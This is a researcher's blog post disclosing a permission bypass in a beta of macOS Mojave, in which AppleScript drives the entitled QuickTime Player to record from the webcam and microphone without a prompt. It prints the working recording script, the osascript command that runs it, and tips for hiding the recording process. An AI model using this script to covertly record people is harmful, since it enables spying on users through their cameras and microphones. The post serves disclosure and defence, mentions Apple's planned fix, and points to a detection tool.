Objective-See

Breaking macOS Mojave Beta

does apple adequately protect the webcam and mic? ...no

06/06/2018

love these blog posts? support my tools & writing on patreon :)

Update:

In the "Your Apps and the Future of macOS Security" WWDC session - Apple states that the final (i.e. non-beta) version of macOS Mojave will prompt for applications that attempt to control (or script) other applications (discussion is at 13:45 in the presentation).

Thus this attack should be mitigated when macOS Majove ships! Hooray.

Background
On Monday, Apple announced the latest version of macOS: Mojave (10.14) and released a beta (18A293u). I decided to play around with it today.

From a security point of view, one of the most interesting features of Mojave is new 'access controls' on user data, and devices such as the microphone and webcam:

This is a welcomed security feature, as malware often surreptitiously accesses the mic or the webcam (as well as sensitive user data). For example, the author of the infamous OSX/FruitFly malware spied on Mac users (including children) for over a decade via their webcams. Yikes!

Mysterious Mac Malware Has Infected Victims for Years

Man Charged Over Super Creepy Apple Mac Spyware That Snooped On Victims Via Webcams

Other examples of Mac malware that accessed the webcam and/or mic includes OSX/Mokes:

Also OSX/Eleanor:

..and OSX/Crisis (HackingTeam):

Moreover yours truly recently described an attack, which would allow Mac malware to piggyback on legitimate webcam sessions to secretly record mac users without detection!

We all known Apple hates bad press - so in Mojave, they (finally?) decided to do something about this. Hooray!

Mac Mojave's Mic/Webcam Protections
In macOS Mojave (10.14), Apple states that "new data protections require apps to get user permission before using the Mac camera and microphone".

This is implemented by extending existing macOS capabilities, such as entitlements and the accessibility/privacy database (tcc). Specifically, if an application does not have the kTCCServiceMicrophone or kTCCServiceCamera values in the com.apple.private.tcc.allow entitlement, the OS will block the mic or webcam, and alert the user, requesting explicit permissions.

This is easy to test! Simply run any 'unentitled' application or command-line utility that attempts to access either the mic or webcam. Here, we're running videosnap via the Terminal. As expected Mojave will prompt for webcam access (note: artist rendering):

...and mic access (note: artist rendering):

Clicking 'Don't Allow' will add the process (in this case Terminal.app) to the accessibility database (TCC.db):

 # fs_usage -w -f filesystem
  stat64  /Users/user/Library/Application Support/com.apple.TCC/TCC.db-journal  tccd.2978
  stat64  /Users/user/Library/Application Support/com.apple.TCC/TCC.db-wal  tccd.2978
  RdData[A] /Users/user/Library/Application Support/com.apple.TCC/TCC.db  tccd.2978
    
  guarded_open_np   F=5  /Users/user/Library/Application Support/com.apple.TCC/
                          TCC.db-journal tccd.2978

  guarded_pwrite_np F=5  B=0x200 tccd.2978

In the UI, we can see that the Terminal.app has been added to the "Privacy" pane, in the System Preferences.app. As the checkbox remains unchecked (we clicked 'Don't Allow'), mic and webcam access is denied (note: artist rendering):

Ok, looking good! Seems to work as advertised.

Breaking Mojave's Mic/Webcam Protections
I'm generally skeptical of Apple's claims about their new security features, as they are often trivially broken:

"Drop-dead simple exploit completely bypasses Mac’s malware Gatekeeper"

"Secure Kernel Extension Loading in macOS Easily Bypassed: Researcher"

Will history repeat itself with Mojave? At least in this beta, the answer is yes. Let's show how it's still trivial to (programmatically) record off the webcam or mic, neatly sidestepping Apple's new data protections!

As previously mentioned if an application does not have the kTCCServiceMicrophone or kTCCServiceCamera values in the com.apple.private.tcc.allow entitlement, the OS will block the mic or webcam access and alert the user. Does this mean if an application has such entitlements it will be able to access these devices without a prompt? ...yes!

For example, Apple's FaceTime.app possesses such entitlements:

  codesign -d --entitlements - /Applications/FaceTime.app
  Executable=/Applications/FaceTime.app/Contents/MacOS/FaceTime

    <?xml version="1.0" encoding="UTF-8"?>

    <plist version="1.0">
    <dict>

    <key>com.apple.private.tcc.allow</key>
    <array>
      <string>kTCCServiceAddressBook</string>
      <string>kTCCServiceReminders</string>
      <string>kTCCServiceMicrophone</string>
      <string>kTCCServiceCamera</string>
    </array>
    ...

If you open FaceTime on Mojave, no alert is shown to the user, yet the application can access both the webcam and microphone. Ah the powers of entitlements!

Of course as the com.apple.private.tcc.allow is an com.apple.private entitlement, one cannot arbitrarily add it random (malicious) applications. However, if we can programmatically utilize an Apple binary that has these entitlements, we can record off the webcam or mic without an alert. Ah the powers of entitlements!

One such application is the venerable QuickTime Player. First, let's confirm it has the necessary entitlement(s):

  codesign -d --entitlements - /Applications/Quicktime Player.app
  Executable=/Applications/Quicktime Player.app/Contents/MacOS/Quicktime Player

    <?xml version="1.0" encoding="UTF-8"?>

    <plist version="1.0">
    <dict>

    <key>com.apple.private.tcc.allow</key>
    <array>
      <string>kTCCServiceMicrophone</string>
      <string>kTCCServiceCamera</string>
    </array>
    ...

Yups, looks good: kTCCServiceMicrophone and kTCCServiceCamera.

Now, to programmatically interface with Quicktime Player, we can utilize AppleScript. Below is a script (grabbed from StackOverflow) which will record both video and audio from the webcam/mic...via the entitled Quicktime Player:

on run argv
    set movieName to item 1 of argv
    set delaySeconds to item 2 of argv
    set filePath to (path to desktop as text) & movieName
    set f to a reference to file filePath

    tell application "QuickTime Player"
        set newMovieRecording to new movie recording

        tell newMovieRecording
            start
            delay delaySeconds
            pause
            save newMovieRecording in f
            stop
            close newMovieRecording
        end tell
    end tell
  end run

Save this script, then run it via osascript:

  //capture 10 seconds of audio/video to 'capture.mov'
  $ osascript goHomeMojaveYouDrunk.scpt capture.mov 10

Since Quicktime Player.app is sufficiently entitled, the code will be able to record both audio and video without generating an alert...hope you're wearing pants at the moment!

...my dog was not:

I'll be the first to admit this is not the most l33t bypass, but hey it bypasses one of Mojave's foundational security features. And best yet, it utilizes all legitimate functionality of the OS (versus some trivially patchable bug).

And if you want to make the attack more stealthy, the following should help make it even more difficult to detect:

Perhaps add the following to the AppleScript:
set visible of process "Quicktime Player" to false

Or better yet, execute the attack 'invisibly':

Note that when recording off the webcam, the LED indicator light will still come on! This is a separate mitigation that is rather difficult to bypass (though the 'piggy-back' attack can be utilized).

So what do to? Well, they say "trust but verify". With Apple, seems wiser to simply skip the trust part and go straight to verifying! And maybe this is just a limitation of the beta...

Let's end with some good news: the free OverSight utility will generically detect this attack, alerting you anytime any application access either the webcam or microphone. ♡♡♡

Ok bedtime! 😴

love these blog posts & tools? you can support them via patreon! Mahalo :)